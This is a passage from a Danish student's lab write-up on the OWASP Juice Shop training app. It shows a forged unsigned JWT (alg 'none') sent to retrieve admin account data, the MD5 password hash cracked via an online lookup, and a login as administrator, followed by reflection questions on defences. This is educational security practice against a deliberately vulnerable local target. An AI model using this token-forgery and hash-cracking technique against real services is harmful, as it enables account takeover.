    Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.
    Accept-Language: da-DK,da;q=0.9
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:3000/
    Accept-Encoding: gzip, deflate, br
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.
    Connection: keep-alive
    
  17. Send the request and confirm a 200 OK response.

    Response
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Content-Type: application/json; charset=utf-8
    Content-Length: 344
    ETag: W/"158-C0MSdj4rHIcDyIq4u/IF+EiC5v0"
    Vary: Accept-Encoding
    Date: Fri, 09 Oct 2026 14:54:34 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    {
    "user":{
        "id":1,
        "username":"",
        "email":"admin@juice-sh.op",
        "password":"16b9652df79d0e4784bdbf478c9f4fee",
        "role":"admin",
        "deluxeToken":"",
        "lastLoginIp":"",
        "profileImage":"assets/public/images/uploads/defaultAdmin.png",
        "totpSecret":"",
        "isActive":true,
        "createdAt":"2026-10-09T13:58:02.767Z",
        "updatedAt":"2026-10-09T14:54:34.773Z",
        "deletedAt":null
    }
    }
    
  18. Extract the MD5 hashed password from the response, crack it (e.g., crackstation.net), and verify it matches your chosen password.

    16b9652df79d0e4784bdbf478c9f4fee
    

    Crackstation:

    Hash Type Result
    16b9652df79d0e4784bdbf478c9f4fee md5 hazel
  19. Log in as the Juice Shop administrator using the new password.

    • admin@juice-sh.op:hazel
      • Virkede!

3. Problemer og løsninger

Jeg oplevede ingen problemer under denne øvelse.


4. Reflekterende spørgsmål

  • Hvad gør JWT-tokens sårbare, hvis signaturen ikke valideres korrekt?

    • Så kan man ændre indholdet og serveren vil muligvis stole på og bruge de ændrede oplysninger.
  • Hvad er sikkerhedsimplikationerne ved at gemme følsom information i token payloads?

    • At hvis de ikke verificeres og man bruger dem, så kan man risikere at blive ramt af autentificeringsangreb.
  • Hvordan kan udviklere beskytte sig mod misbrug af password recovery og OTP-mekanismer?

    • Med rate limiting, lange OTP's (one time passwords) og MFA
  • Hvordan kan rate limiting og MFA være effektive forsvar mod angreb på tokens?

    • Rate limiting kan gøre at man ikke kan gætte sig til OTP's eller tokens. MFA (Multi factor authentication) kan gøre at man ikke kan ændre passwords uden også at have adgang til brugerens opsatte MFA.

5. Opsummering af erfaringer

Jeg har lært hvordan JWT tokens fungere, hvilke sårbarheder der kan være ved brug af dem og hvordan man evt. kan angribe disse sårbarheder.